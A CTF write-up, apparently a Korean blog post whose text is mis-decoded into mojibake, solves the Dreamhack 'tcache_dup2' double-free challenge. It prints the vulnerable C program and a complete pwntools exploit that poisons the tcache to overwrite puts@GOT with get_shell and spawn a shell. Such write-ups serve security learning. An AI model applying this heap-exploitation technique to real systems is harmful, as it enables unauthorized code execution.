[ํ˜ผ์ž์‹ค์Šต] Double Free Bug

 

Tcache_dup2

๋ฌธ์ œ ํ™”๋ฉด

 

 

 

์ฃผ์–ด์ง„ c ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

char *ptr[7];

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
}

void create_heap(int idx) {
	size_t size;

	if( idx >= 7 ) 
		exit(0);

	printf("Size: ");
	scanf("%ld", &size);

	ptr[idx] = malloc(size);

	if(!ptr[idx])
		exit(0);

	printf("Data: ");
	read(0, ptr[idx], size-1);

}

void modify_heap() {
	size_t size, idx;

	printf("idx: ");
	scanf("%ld", &idx);

	if( idx >= 7 ) 
		exit(0);

	printf("Size: ");
	scanf("%ld", &size);

	if( size > 0x10 ) 
		exit(0);

	printf("Data: ");
	read(0, ptr[idx], size);
}

void delete_heap() {
	size_t idx;

	printf("idx: ");
	scanf("%ld", &idx);
	if( idx >= 7 ) 
		exit(0);

	if( !ptr[idx] ) 
		exit(0);

	free(ptr[idx]);
}

void get_shell() {
	system("/bin/sh");
}
int main() {
	int idx;
	int i = 0;

	initialize();

	while(1) {
		printf("1. Create heap\n");
		printf("2. Modify heap\n");
		printf("3. Delete heap\n");
		printf("> ");

		scanf("%d", &idx);

		switch(idx) {
			case 1:
				create_heap(i);
				i++;
				break;
			case 2:
				modify_heap();
				break;
			case 3:
				delete_heap();
				break;
			default:
				break;
		}
	}
}

get_shell() ํ•จ์ˆ˜๊ฐ€ ์žˆ๋Š” ๊ฑธ ํ™•์ธํ•  ์ˆ˜ ์žˆ๊ณ  (์ด๋ฅผ ์ด์šฉํ•ด์„œ ์…ธ์˜ ์ฃผ์†Œ๋ฅผ ๊ฐ€์ ธ์˜ค๋ฉด ๋  ๋“ฏํ•˜๋‹ค)

delete_heap()ํ•จ์ˆ˜์—์„œ free๋ฅผ ํ•ด์ค€ ๋‹ค์Œ ์ดˆ๊ธฐํ™”๋ฅผ ์•ˆํ•ด์ฃผ์—ˆ๊ธฐ ๋•Œ๋ฌธ์— Double Free Bug ์ทจ์•ฝ์ ์ด ๋ฐœ์ƒํ•  ๊ฒƒ์œผ๋กœ ๋ณด์ธ๋‹ค.

 

 

 

์ฒ˜์Œ์— checksec๋ฅผ ์‚ฌ์šฉํ•ด์„œ ๋ณดํ˜ธ ๊ธฐ๋ฒ•์„ ํ™•์ธํ•ด๋ดค๋Š”๋ฐ ๋ฌธ์ œ์— ๋‚˜์™€์žˆ๋Š” ๋ฐ”์™€ ๋‹ฌ๋ผ์„œ ์ˆ˜์ •ํ•ด์ฃผ์—ˆ๋‹ค

Full RELRO → Partial RELRO

Canary found → No canary found

PIE enabled → No PIE

 

 

 

 

๊ตฌ๊ธ€๋ง์„ ํ•ด๋ณด๋‹ˆ ํ•ด๋‹น ์ฝ”๋“œ๋Š” p64() ํ•จ์ˆ˜๋กœ byteํ˜• ํŽ˜์ด๋กœ๋“œ๋ฅผ ๋งŒ๋“ค๊ณ  ์ด๋ฅผ ํ•จ์ˆ˜๋ฅผ ํ†ตํ•ด strํ˜•์œผ๋กœ ์ „์†กํ•˜๊ฑฐ๋‚˜ str๋กœ ๋ฐ”๊พธ๊ณ  ๋‹ค์‹œ byte๋กœ ์ธ์ฝ”๋”ฉํ•ด์„œ ์ „์†กํ•  ๊ฒฝ์šฐ ์ „์†กํ•œ ๋ฐ์ดํ„ฐ์™€ ๋‹ค๋ฅธ ๋ฐ์ดํ„ฐ๊ฐ€ ์ฐํžŒ๋‹ค๋Š” ๊ฑธ ์•Œ๊ฒŒ๋˜์—ˆ๋‹ค.

๋”ฐ๋ผ์„œ 

create(0x10, p64(puts_got))
create(0x10, p64(get_shell์ฃผ์†Œ))

๋ถ€๋ถ„์„ 

p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(puts_got))

์ด์™€ ๊ฐ™์ด ์ˆ˜๋™์œผ๋กœ ๋ฐ”๊ฟ”์ฃผ์—ˆ๋‹ค. 

 

์ž‘์„ฑํ•œ ์ต์Šคํ”Œ๋กœ์ž‡ ์ฝ”๋“œ๋Š” ๋‹ค์Œ๊ณผ ๊ฐ™๋‹ค.

from pwn import *

p = remote("host1.dreamhack.games", 11801)
e = ELF("./tcache_dup2")

def create(size, data):
   p.sendlineafter(">", "1")
   p.sendlineafter(":", str(size))
   p.sendlineafter(":", str(data))

def modify(idx, size, data):
   p.sendlineafter(">", "2")
   p.sendlineafter(":", str(idx))
   p.sendlineafter(":", str(size))
   p.sendafter(":", str(data))

def delete(idx):
   p.sendlineafter(">", "3")
   p.sendlineafter(":", str(idx))

puts_got = e.got["puts"]
get_shell = e.symbols["get_shell"]

create(0x10, "A"*0x8)
create(0x10, "A"*0x8)
create(0x10, "A"*0x8)

delete(0)
delete(1)
delete(2)

modify(2, 0x10, "A"*0x8 + "\x00")
delete(2)

p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(puts_got))

create(0x10, "A"*0x8)

p.sendlineafter(">", "1")
p.sendlineafter(":", "16")
p.sendlineafter(":", p64(get_shell))

p.interactive()

 

 

 

์‹คํ–‰ํ•˜๋‹ˆ ๋‹ค์Œ๊ณผ ๊ฐ™์ด ํ”Œ๋ž˜๊ทธ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์—ˆ๋‹ค.

 

๋ณต์‚ฌํ–ˆ์Šต๋‹ˆ๋‹ค!